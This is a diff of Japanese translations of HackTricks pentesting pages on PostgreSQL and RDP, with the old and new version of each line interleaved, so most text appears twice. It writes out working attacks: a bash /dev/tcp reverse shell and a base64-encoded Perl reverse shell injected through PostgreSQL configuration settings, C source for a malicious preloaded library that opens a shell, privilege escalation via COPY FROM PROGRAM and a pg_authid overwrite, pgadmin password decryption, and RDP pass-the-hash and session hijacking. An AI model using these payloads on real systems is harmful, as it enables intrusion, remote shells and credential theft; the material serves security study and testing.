||||
2. `ssl_passphrase_command_supports_reload = on`
|
||||
6. `pg_reload_conf()`を実行する
|
||||
4. 現在のPostgreSQL **構成**を**ダンプ**
|
||||
5. 上記の属性構成で**構成**を**上書き**する:
|
||||
`ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'`
|
||||
`ssl_passphrase_command_supports_reload = on`
|
||||
6. `pg_reload_conf()`を実行
|
||||
|
||||
これをテストしてみたところ、**秘密鍵ファイルが権限640**である必要があり、**rootが所有**しており、**グループssl-certまたはpostgres**(つまりpostgresユーザが読み取れる)である必要があり、_ /var/lib/postgresql/12/main_に配置されている場合にのみ機能することに気づきました。
|
||||
これをテストしてみたところ、**秘密鍵ファイルが権限640**である必要があり、**rootが所有**しており、**グループssl-certまたはpostgres**(postgresユーザーが読み取れるように)であり、_ /var/lib/postgresql/12/main_に配置されている場合にのみ機能することに気付きました。
|
||||
|
||||
#### **archive\_command**を使用したRCE
|
||||
|
||||
**WALに関するこの構成とこの構成に関する詳細**は[こちら](https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3)**で確認できます。**
|
||||
この構成とWALに関する詳細については、[こちら](https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3)を参照してください。
|
||||
|
||||
構成ファイルの別の属性である`archive_command`は悪用可能です。
|
||||
|
||||
これを機能させるには、`archive_mode`設定が`'on'`または`'always'`である必要があります。それが真であれば、`archive_command`でコマンドを上書きし、WAL(Write-Ahead Logging)操作を介して実行することができます。
|
||||
これを機能させるには、`archive_mode`設定が`'on'`または`'always'`である必要があり、その場合、`archive_command`のコマンドを上書きしてWAL(先行ログ記録)操作を介して実行することができます。
|
||||
|
||||
一般的な手順は次のとおりです:
|
||||
一般的な手順は次のとおりです:
|
||||
|
||||
1. アーカイブモードが有効かどうかを確認する: `SELECT current_setting('archive_mode')`
|
||||
2. `archive_command`にペイロードを上書きします。たとえば、リバースシェル: `archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'`
|
||||
3. 構成を再読み込み: `SELECT pg_reload_conf()`
|
||||
4. WAL操作を実行し、アーカイブコマンドを呼び出します: 一部のPostgresバージョンでは`SELECT pg_switch_wal()`または`SELECT pg_switch_xlog()`を使用します
|
||||
1. アーカイブモードが有効かどうかを確認:`SELECT current_setting('archive_mode')`
|
||||
2. ペイロードで`archive_command`を上書きします。たとえば、リバースシェル:`archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'`
|
||||
3. 構成を再読み込み:`SELECT pg_reload_conf()`
|
||||
4. WAL操作を強制的に実行し、アーカイブコマンドを呼び出します:`SELECT pg_switch_wal()`または一部のPostgresバージョンでは`SELECT pg_switch_xlog()`
|
||||
|
||||
#### **preloadライブラリを使用したRCE**
|
||||
|
||||
このテクニックに関する詳細は[こちら](https://adeadfed.com/posts/postgresql-select-only-rce/)で確認できます。
|
||||
|
||||
この攻撃ベクトルは次の構成変数を利用します:
|
||||
この攻撃ベクトルは次の構成変数を利用します:
|
||||
|
||||
* `session_preload_libraries` -- PostgreSQLサーバがクライアント接続時に読み込むライブラリ。
|
||||
* `dynamic_library_path` -- PostgreSQLサーバがライブラリを検索するディレクトリのリスト。
|
||||
* `session_preload_libraries` -- PostgreSQLサーバーがクライアント接続時に読み込むライブラリ。
|
||||
* `dynamic_library_path` -- PostgreSQLサーバーがライブラリを検索するディレクトリのリスト。
|
||||
|
||||
`dynamic_library_path`の値を、データベースを実行している`postgres`ユーザが書き込み可能なディレクトリ(たとえば`/tmp/`ディレクトリ)に設定し、そこに悪意のある`.so`オブジェクトをアップロードします。次に、`session_preload_libraries`変数にそれを含めて、PostgreSQLサーバに新しくアップロードしたライブラリを読み込むようにします。
|
||||
`dynamic_library_path`の値を、データベースを実行している`postgres`ユーザーが書き込み可能なディレクトリ(たとえば`/tmp/`ディレクトリ)に設定し、そこに悪意のある`.so`オブジェクトをアップロードします。次に、新しくアップロードしたライブラリを`session_preload_libraries`変数に含めてPostgreSQLサーバーに読み込ませます。
|
||||
|
||||
攻撃手順は次のとおりです:
|
||||
攻撃手順は次のとおりです:
|
||||
|
||||
1. 元の`postgresql.conf`をダウンロードする
|
||||
2. `dynamic_library_path`値に`/tmp/`ディレクトリを含める。例: `dynamic_library_path = '/tmp:$libdir'`
|
||||
3. `session_preload_libraries`値に悪意のあるライブラリ名を含める。例: `session_preload_libraries = 'payload.so'`
|
||||
4. `SELECT version()`クエリを使用して主要なPostgreSQLバージョンを確認する
|
||||
5. 正しいPostgreSQL devパッケージを使用して悪意のあるライブラリコードをコンパイルします。サンプルコード:
|
||||
1. 元の`postgresql.conf`をダウンロード
|
||||
2. `dynamic_library_path`値に`/tmp/`ディレクトリを含める。例:`dynamic_library_path = '/tmp:$libdir'`
|
||||
3. `session_preload_libraries`値に悪意のあるライブラリ名を含める。例:`session_preload_libraries = 'payload.so'`
|
||||
4. `SELECT version()`クエリを使用して主要なPostgreSQLバージョンを確認
|
||||
5. 正しいPostgreSQL devパッケージを使用して悪意のあるライブラリコードをコンパイルします。サンプルコード:
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/types.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <netinet/in.h>
|
||||
#include <arpa/inet.h>
|
||||
#include "postgres.h"
|
||||
#include "fmgr.h"
|
||||
|
||||
#ifdef PG_MODULE_MAGIC
|
||||
PG_MODULE_MAGIC;
|
||||
#endif
|
||||
|
||||
void _init() {
|
||||
/*
|
||||
code taken from https://www.revshells.com/
|
||||
*/
|
||||
|
||||
int port = REVSHELL_PORT;
|
||||
struct sockaddr_in revsockaddr;
|
||||
|
||||
int sockt = socket(AF_INET, SOCK_STREAM, 0);
|
||||
revsockaddr.sin_family = AF_INET;
|
||||
revsockaddr.sin_port = htons(port);
|
||||
revsockaddr.sin_addr.s_addr = inet_addr("REVSHELL_IP");
|
||||
|
||||
connect(sockt, (struct sockaddr *) &revsockaddr,
|
||||
sizeof(revsockaddr));
|
||||
dup2(sockt, 0);
|
||||
dup2(sockt, 1);
|
||||
dup2(sockt, 2);
|
||||
|
||||
char * const argv[] = {"/bin/bash", NULL};
|
||||
execve("/bin/bash", argv, NULL);
|
||||
}
|
||||
(中略)
|
||||
```
|
||||
|
||||
コードのコンパイル:
|
||||
コードのコンパイル:
|
||||
|
||||
```bash
|
||||
gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c
|
||||
```
|
||||
6. ステップ2-3で作成した悪意のある`postgresql.conf`をアップロードし、元のファイルを上書きする
|
||||
7. ステップ5で作成した`payload.so`を`/tmp`ディレクトリにアップロードする
|
||||
8. サーバー構成を再読み込みするためにサーバーを再起動するか、`SELECT pg_reload_conf()`クエリを呼び出す
|
||||
6. ステップ2-3で作成した悪意のある`postgresql.conf`をアップロードして元のファイルを上書き
|
||||
7. ステップ5で作成した`payload.so`を`/tmp`ディレクトリにアップロード
|
||||
8. サーバー構成を再読み込みしてサーバーを再起動するか、`SELECT pg_reload_conf()`クエリを呼び出します
|
||||
9. 次回のDB接続時にリバースシェル接続を受け取ります。
|
||||
## **Postgres Privesc**
|
||||
## **Postgresの権限昇格**
|
||||
|
||||
### CREATEROLE Privesc
|
||||
### CREATEROLE権限昇格
|
||||
|
||||
#### **権限付与**
|
||||
|
||||
[**ドキュメント**](https://www.postgresql.org/docs/13/sql-grant.html)によると: _**`CREATEROLE`** 権限を持つロールは、**スーパーユーザーでない** 任意のロールのメンバーシップを**付与または取り消す**ことができます。_
|
||||
[**ドキュメント**](https://www.postgresql.org/docs/13/sql-grant.html)によると:_**`CREATEROLE`**権限を持つロールは、**スーパーユーザーでない**任意のロールに対して**メンバーシップの付与または取り消し**を行うことができます。_
|
||||
|
||||
したがって、**`CREATEROLE`** 権限があれば、自分自身に他の**ロール**へのアクセス権を付与できます(スーパーユーザーでない場合)。これにより、ファイルの読み書きやコマンドの実行が可能になります。
|
||||
したがって、**`CREATEROLE`**権限があれば、他の**ロール**(スーパーユーザーでない)へのアクセス権を付与して、ファイルの読み書きやコマンドの実行が可能になります。
|
||||
```sql
|
||||
# Access to execute commands
|
||||
GRANT pg_execute_server_program TO username;
|
||||
|
@ -592,7 +553,7 @@ ALTER USER user_name WITH PASSWORD 'new_password';
|
|||
COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';
|
||||
```
|
||||
{% hint style="info" %}
|
||||
これは通常、**`pg_hba.conf`** ファイル内の次の行によって可能になります:
|
||||
通常、これは**`pg_hba.conf`**ファイル内の次の行によって可能になります:
|
||||
```bash
|
||||
# "local" is for Unix domain socket connections only
|
||||
local all all trust
|
||||
|
@ -605,13 +566,13 @@ host all all ::1/128 trust
|
|||
|
||||
### **ALTER TABLE権限昇格**
|
||||
|
||||
[**この解説**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities)では、ユーザーに付与されたALTER TABLE権限を悪用してPostgres GCPで権限昇格が可能だった方法が説明されています。
|
||||
[**この解説**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities)では、ユーザーに付与されたALTER TABLE権限を悪用してPostgres GCPで**権限昇格**が可能だった方法が説明されています。
|
||||
|
||||
通常、**別のユーザーをテーブルの所有者にする**という操作はエラーが発生して阻止されるはずですが、GCPでは**スーパーユーザーでないpostgresユーザー**にそのオプションが与えられていたようです:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (4) (1) (1) (1) (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (4) (1) (1) (1) (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
この考え方を利用して、**INSERT/UPDATE/ANALYZE**コマンドが**インデックス関数を持つテーブル**で実行されると、**関数**が**コマンドの一部として呼び出され、テーブルの所有者権限**で実行されるという事実を組み合わせると、スーパーユーザーに所有権限を与えたテーブルに関数を持つインデックスを作成し、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を使用してテーブル上でANALYZEを実行することが可能です。
|
||||
この考え方を利用して、**インデックス関数を持つテーブル**に対して**INSERT/UPDATE/ANALYZE**コマンドが実行されると、**関数**が**コマンドの一部として呼び出され、テーブルの所有者権限**で実行されるという事実を組み合わせると、悪意のある関数を使用してコマンドを実行できるようになります。
|
||||
```c
|
||||
GetUserIdAndSecContext(&save_userid, &save_sec_context);
|
||||
SetUserIdAndSecContext(onerel->rd_rel->relowner,
|
||||
|
@ -620,12 +581,12 @@ save_sec_context | SECURITY_RESTRICTED_OPERATION);
|
|||
#### 搾取
|
||||
|
||||
1. 新しいテーブルを作成します。
|
||||
2. テーブルに関連性のないコンテンツを挿入して、インデックス機能のデータを提供します。
|
||||
3. 悪意のあるインデックス機能を開発し、コード実行ペイロードを含め、不正なコマンドの実行を許可します。
|
||||
4. テーブルの所有者を「cloudsqladmin」に変更し、これはCloud SQLがデータベースを管理および維持するために独占的に使用するGCPのスーパーユーザーロールです。
|
||||
5. テーブルに対してANALYZE操作を実行します。この操作により、PostgreSQLエンジンはテーブルの所有者である「cloudsqladmin」のユーザーコンテキストに切り替わります。したがって、悪意のあるインデックス機能は「cloudsqladmin」の権限で呼び出され、以前に許可されていなかったシェルコマンドの実行が可能になります。
|
||||
2. テーブルに関連性のないコンテンツを挿入して、インデックス機能にデータを提供します。
|
||||
3. 悪意のあるインデックス機能を開発し、コード実行ペイロードを含め、不正なコマンドを実行できるようにします。
|
||||
4. テーブルの所有者を「cloudsqladmin」に変更し、これはGCPのスーパーユーザーロールであり、Cloud SQLがデータベースを管理および維持するために独占的に使用されます。
|
||||
5. テーブルに対してANALYZE操作を実行します。この操作により、PostgreSQLエンジンはテーブルの所有者である「cloudsqladmin」のユーザーコンテキストに切り替わります。その結果、悪意のあるインデックス機能が「cloudsqladmin」の権限で呼び出され、以前に許可されていなかったシェルコマンドの実行が可能になります。
|
||||
|
||||
PostgreSQLでは、このフローは次のようになります。
|
||||
PostgreSQLでは、このフローは次のようになります:
|
||||
```sql
|
||||
CREATE TABLE temp_table (data text);
|
||||
CREATE TABLE shell_commands_results (data text);
|
||||
|
@ -646,13 +607,13 @@ LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM
|
|||
|
||||
ANALYZE public.temp_table;
|
||||
```
|
||||
その後、`shell_commands_results` テーブルには実行されたコードの出力が含まれます:
|
||||
その後、`shell_commands_results` テーブルには実行されたコードの出力が含まれます。
|
||||
```
|
||||
uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)
|
||||
```
|
||||
### ローカルログイン
|
||||
|
||||
一部の設定ミスのあるPostgreSQLインスタンスでは、どのローカルユーザーでもログインできる場合があり、**`dblink`関数**を使用して127.0.0.1からローカルログインすることが可能です。
|
||||
一部の設定ミスのあるPostgreSQLインスタンスでは、**`dblink`関数**を使用して、127.0.0.1からのローカルログインが可能になる場合があります。
|
||||
```sql
|
||||
\du * # Get Users
|
||||
\l # Get databases
|
||||
|
@ -671,7 +632,7 @@ CREATE EXTENSION dblink;
|
|||
```
|
||||
{% endhint %}
|
||||
|
||||
もし特権を持つユーザーのパスワードを持っているが、そのユーザーが外部IPからのログインを許可されていない場合、次の関数を使用してそのユーザーとしてクエリを実行できます:
|
||||
より多くの権限を持つユーザーのパスワードを持っているが、そのユーザーが外部IPからのログインを許可されていない場合、次の関数を使用してそのユーザーとしてクエリを実行できます:
|
||||
```sql
|
||||
SELECT * FROM dblink('host=127.0.0.1
|
||||
user=someuser
|
||||
|
@ -685,7 +646,7 @@ SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;
|
|||
```
|
||||
### **セキュリティデフィナーで定義されたカスタム関数**
|
||||
|
||||
[**この解説**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql)では、IBMが提供するPostgresインスタンス内で、**SECURITY DEFINERフラグを持つこの関数**を見つけたため、ペンテスターは権限昇格に成功しました。
|
||||
[**この解説**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql)では、IBMが提供するPostgresインスタンス内で、**セキュリティデフィナーのフラグを持つこの関数**を見つけたため、ペンテスターは権限昇格に成功しました。
|
||||
|
||||
<pre class="language-sql"><code class="lang-sql">CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
|
||||
RETURNS text
|
||||
|
@ -706,9 +667,9 @@ PERFORM dblink_disconnect();
|
|||
…
|
||||
</code></pre>
|
||||
|
||||
[**ドキュメントで説明されているように**](https://www.postgresql.org/docs/current/sql-createfunction.html)、**SECURITY DEFINERが設定された関数は**、**所有者の権限で実行**されます。したがって、関数が**SQLインジェクションに対して脆弱**であるか、**攻撃者によって制御されるパラメータで特権操作を行っている**場合、Postgres内で**権限昇格が悪用**される可能性があります。
|
||||
[**ドキュメントで説明されているように**](https://www.postgresql.org/docs/current/sql-createfunction.html)、**セキュリティデフィナーを持つ関数は**、それを**所有するユーザーの権限で実行**されます。したがって、関数が**SQLインジェクションに対して脆弱**であるか、攻撃者によって制御されるパラメーターで**特権操作を行っている場合**、Postgres内で**権限昇格**される可能性があります。
|
||||
|
||||
前述のコードの4行目で、関数に**SECURITY DEFINER**フラグがあることがわかります。
|
||||
前述のコードの4行目で、関数に**セキュリティデフィナー**フラグがあることがわかります。
|
||||
```sql
|
||||
CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a
|
||||
user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication
|
||||
|
@ -720,7 +681,7 @@ WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);
|
|||
|
||||
### PL/pgSQLを使用したパスワードブルートフォース
|
||||
|
||||
**PL/pgSQL**は、SQLよりも大幅に手続き的な制御を提供する**完全な機能を備えたプログラミング言語**です。これにより、**ループ**や他の**制御構造**を使用してプログラムロジックを強化できます。さらに、**SQLステートメント**や**トリガー**は、**PL/pgSQL言語**を使用して作成された関数を呼び出す能力を持っています。この統合により、データベースプログラミングと自動化に対する包括的かつ多目的なアプローチが可能となります。\
|
||||
**PL/pgSQL**はSQLよりも大幅に手続き的な制御を提供する**完全な機能を備えたプログラミング言語**です。これにより、**ループ**や他の**制御構造**を使用してプログラムロジックを強化できます。さらに、**SQLステートメント**や**トリガー**は、**PL/pgSQL言語**を使用して作成された関数を呼び出す能力を持っています。この統合により、データベースプログラミングと自動化に対する包括的かつ多目的なアプローチが可能となります。\
|
||||
**この言語を悪用して、PostgreSQLにユーザーの資格情報をブルートフォースさせることができます。**
|
||||
|
||||
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md" %}
|
||||
|
@ -730,12 +691,12 @@ WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);
|
|||
### 内部のPostgreSQLテーブルを上書きして権限昇格
|
||||
|
||||
{% hint style="info" %}
|
||||
次の権限昇格ベクトルは、制約されたSQLiコンテキストで特に有用であり、すべての手順をネストされたSELECTステートメントを介して実行できます
|
||||
以下の権限昇格ベクトルは、制約されたSQLiコンテキストで特に有用であり、すべての手順をネストされたSELECTステートメントを介して実行できます
|
||||
{% endhint %}
|
||||
|
||||
PostgreSQLサーバーファイルを**読み書き**できる場合、内部の`pg_authid`テーブルに関連付けられたPostgreSQLのディスク上のファイルノードを上書きすることで、**スーパーユーザー**になることができます。
|
||||
|
||||
**この手法**について詳しくは[**こちら**](https://adeadfed.com/posts/updating-postgresql-data-without-update/)**をご覧ください。**
|
||||
**この手法**について詳しくは[**こちら**](https://adeadfed.com/posts/updating-postgresql-data-without-update/)**を参照してください。**
|
||||
|
||||
攻撃手順は以下の通りです:
|
||||
|
||||
|
@ -745,10 +706,8 @@ PostgreSQLサーバーファイルを**読み書き**できる場合、内部の
|
|||
4. `pg_authid`テーブルに関連付けられたデータ型を取得する
|
||||
5. [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor)を使用して、`pg_authid`テーブルの[ファイルノードを編集](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg\_authid-table)し、すべての`rol*`ブールフラグを1に設定して完全な権限を付与する
|
||||
6. `lo_*`関数を介して編集済みのファイルノードを再アップロードし、ディスク上の元のファイルを上書きする
|
||||
7. (オプション)高コストなSQLクエリを実行してインメモリテーブルキャッシュをクリアする
|
||||
7. (オプション)高コストのSQLクエリを実行してインメモリテーブルキャッシュをクリアする
|
||||
8. これで完全なスーパーアドミンの権限を持つようになります。
|
||||
|
||||
## **POST**
|
||||
```
|
||||
msf> use auxiliary/scanner/postgres/postgres_hashdump
|
||||
msf> use auxiliary/scanner/postgres/postgres_schemadump
|
||||
|
@ -758,7 +717,7 @@ msf> use exploit/windows/postgres/postgres_payload
|
|||
```
|
||||
### ロギング
|
||||
|
||||
_**postgresql.conf**_ ファイルの中で、以下を変更して、PostgreSQL ログを有効にできます:
|
||||
_**postgresql.conf**_ ファイルの中で、以下を変更することで PostgreSQL ログを有効にできます:
|
||||
```bash
|
||||
log_statement = 'all'
|
||||
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
|
||||
|
@ -767,13 +726,11 @@ sudo service postgresql restart
|
|||
#Find the logs in /var/lib/postgresql/<PG_Version>/main/log/
|
||||
#or in /var/lib/postgresql/<PG_Version>/main/pg_log/
|
||||
```
|
||||
その後、**サービスを再起動**してください。
|
||||
|
||||
### pgadmin
|
||||
|
||||
[pgadmin](https://www.pgadmin.org)は、PostgreSQLの管理および開発プラットフォームです。\
|
||||
_**pgadmin4.db**_ファイルの中に**パスワード**が見つかります。\
|
||||
スクリプト内の_decrypt_関数を使用してそれらを復号化できます:[https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py)
|
||||
**pgadmin4.db**ファイル内に**パスワード**が見つかります。\
|
||||
スクリプト内の_decrypt_関数を使用して、それらを復号化できます:[https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py)
|
||||
```bash
|
||||
sqlite3 pgadmin4.db ".schema"
|
||||
sqlite3 pgadmin4.db "select * from user;"
|
||||
|
@ -782,6 +739,6 @@ string pgadmin4.db
|
|||
```
|
||||
### pg\_hba
|
||||
|
||||
PostgreSQLのクライアント認証は、**pg\_hba.conf**という構成ファイルを介して管理されます。このファイルには、接続タイプ、クライアントIPアドレス範囲(該当する場合)、データベース名、ユーザー名、および一致する接続に使用する認証方法を指定するレコードのシリーズが含まれています。接続タイプ、クライアントアドレス、要求されたデータベース、およびユーザー名に一致する最初のレコードが認証に使用されます。認証が失敗した場合、フォールバックやバックアップはありません。一致するレコードがない場合、アクセスは拒否されます。
|
||||
PostgreSQLにおけるクライアント認証は、**pg\_hba.conf**という構成ファイルを介して管理されます。このファイルには、接続タイプ、クライアントIPアドレス範囲(該当する場合)、データベース名、ユーザー名、および一致する接続に使用する認証方法を指定するレコードが含まれています。接続タイプ、クライアントアドレス、要求されたデータベース、およびユーザー名に一致する最初のレコードが認証に使用されます。認証に失敗した場合、フォールバックやバックアップはありません。一致するレコードがない場合、アクセスは拒否されます。
|
||||
|
||||
pg\_hba.confで利用可能なパスワードベースの認証方法は**md5**、**crypt**、および**password**です。これらの方法は、パスワードの送信方法で異なります:MD5ハッシュ化、crypt暗号化、またはクリアテキスト。重要な点として、cryptメソッドは、pg\_authidで暗号化されたパスワードとは使用できません。
|
||||
pg\_hba.confで利用可能なパスワードベースの認証方法は**md5**、**crypt**、および**password**です。これらの方法は、パスワードの送信方法で異なります:MD5ハッシュ化、crypt暗号化、またはクリアテキスト。重要な点として、cryptメソッドは、pg\_authidで暗号化されたパスワードと一緒に使用できません。
|
||||
|
|
|
@ -2,27 +2,27 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する。
|
||||
* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする。
|
||||
- **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**脆弱性評価とペネトレーションテストのための即座に利用可能なセットアップ**。20以上のツールと機能を備えた完全なペンテストをどこからでも実行し、レコンからレポート作成まで対応します。私たちはペンテスターを置き換えるのではなく、カスタムツール、検出、およびエクスプロイトモジュールを開発して、彼らにより深く掘り下げる時間を与え、シェルをポップして楽しむことができます。
|
||||
**どこからでも利用可能な脆弱性評価およびペネトレーションテストのための即座に利用可能なセットアップ**。20以上のツールと機能を備えた完全なペンテストを実行し、レコンからレポート作成までをカバーします。私たちはペンテスターを置き換えるのではなく、彼らに時間を戻し、より深く掘り下げたり、シェルをポップしたり、楽しんだりするためのカスタムツール、検出、およびエクスプロイトモジュールを開発しています。
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
## 基本情報
|
||||
|
||||
Microsoftによって開発された**Remote Desktop Protocol**(**RDP**)は、ネットワークを介してコンピュータ間のグラフィカルインターフェース接続を可能にするよう設計されています。このような接続を確立するには、ユーザーが**RDP**クライアントソフトウェアを使用し、同時にリモートコンピュータが**RDP**サーバーソフトウェアを操作する必要があります。このセットアップにより、遠隔コンピュータのデスクトップ環境をシームレスに制御およびアクセスし、そのインターフェースをユーザーのローカルデバイスにもたらすことができます。
|
||||
Microsoftによって開発された**Remote Desktop Protocol**(**RDP**)は、ネットワークを介してコンピュータ間のグラフィカルインターフェース接続を可能にするよう設計されています。このような接続を確立するには、ユーザーが**RDP**クライアントソフトウェアを使用し、同時にリモートコンピュータが**RDP**サーバーソフトウェアを実行する必要があります。このセットアップにより、遠隔コンピュータのデスクトップ環境をシームレスに制御およびアクセスし、そのインターフェースをユーザーのローカルデバイスにもたらすことができます。
|
||||
|
||||
**デフォルトポート:** 3389
|
||||
```
|
||||
|
@ -63,19 +63,19 @@ xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
|
|||
```
|
||||
### 既知の資格情報をRDPサービスに対してチェックする
|
||||
|
||||
rdp_check.pyはimpacketから、特定の資格情報がRDPサービスに対して有効かどうかをチェックすることができます。
|
||||
impacketのrdp_check.pyを使用すると、特定の資格情報がRDPサービスに対して有効かどうかを確認できます:
|
||||
```bash
|
||||
rdp_check <domain>/<name>:<password>@<IP>
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**脆弱性評価および侵入テストのための即座に利用可能なセットアップ**。レコンからレポートまで、20以上のツールと機能を使用してどこからでも完全なペンテストを実行します。私たちはペンテスターを置き換えるのではなく、彼らに時間を戻してさらに深く掘り下げたり、シェルをポップしたり、楽しんだりするためにカスタムツール、検出およびエクスプロイテーションモジュールを開発します。
|
||||
**脆弱性評価と侵入テストのための即座に利用可能なセットアップ**。レコンからレポート作成まで、20以上のツールと機能を使用してどこからでも完全なペンテストを実行できます。私たちはペンテスターを置き換えるのではなく、彼らに時間を戻してより深く掘り下げたり、シェルをポップしたり、楽しんだりするためにカスタムツール、検出、およびエクスプロイテーションモジュールを開発しています。
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
## **攻撃**
|
||||
|
||||
### セッションの盗用
|
||||
### セッションの盗み出し
|
||||
|
||||
**SYSTEM権限**を使用すると、所有者のパスワードを知る必要なく、**任意のユーザーによって開かれたRDPセッションにアクセス**できます。
|
||||
|
||||
|
@ -87,11 +87,11 @@ query user
|
|||
```bash
|
||||
tscon <ID> /dest:<SESSIONNAME>
|
||||
```
|
||||
今、選択したRDPセッション内に入り、Windowsのツールと機能のみを使用してユーザーを偽装する必要があります。
|
||||
今度は選択したRDPセッション内に入り、Windowsのツールと機能だけを使ってユーザーをなりすます必要があります。
|
||||
|
||||
**重要**: アクティブなRDPセッションにアクセスすると、それを使用していたユーザーがログアウトされます。
|
||||
|
||||
プロセスのダンプからパスワードを取得することもできますが、この方法の方がはるかに速く、ユーザーの仮想デスクトップとやり取りできます(パスワードはディスクに保存されずにメモ帳に表示され、他のマシンで開かれた他のRDPセッションなど...)
|
||||
